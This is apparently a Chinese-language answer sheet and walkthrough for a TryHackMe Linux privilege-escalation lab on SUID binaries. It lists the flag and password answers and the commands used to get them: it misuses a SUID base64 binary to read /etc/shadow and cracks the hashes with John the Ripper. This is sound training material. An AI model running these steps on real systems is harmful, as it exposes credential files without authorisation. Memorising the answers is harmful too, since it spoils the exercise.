【THM-题目答案】:Privilege Escalation-Linux Privilege Escalation-Privilege Escalation:SUID
1. 哪个用户与一位伟大的漫画作家同名?-Which user shares the name of a great comic book writer?
gerryconway (/etc/passwd可读,直接nano)
2. user2的密码是什么?-What is the password of user2?
Password1
【第2题思路】:
(1)首先通过命令找到base64执行文件SUID位已被设置有效
find / -type f -perm -4000 -ls 2>/dev/null
(2)通过GTFOBins找到base64越权利用方式

(3) 通过命令查看/etc/shadow文件中user2的密码加密后的内容
base64 /etc/shadow | base64 --decode

(4)复制整行内容,并在攻击机中创建文件pass.txt
(5)通过John the Ripper对加密内容进行尝试解密得到密码明文
john --wordlist /usr/share/wordlists/rockyou.txt pass.txt

3. flag3.txt文件的内容是什么?-What is the content of the flag3.txt file?
THM-3847834
【第3题思路】:
(1) 首先通过命令找到base64执行文件SUID位已被设置有效
find / -type f -perm -4000 -ls 2>/dev/null
(2)通过GTFOBins找到base64越权利用方式

(3)按照搜索到的利用方式查看flag3.txt内容(flag3.txt路径可通过find找)
base64 /home/ubuntu/flag3.txt | base64 --decode
![]()
更多推荐



所有评论(0)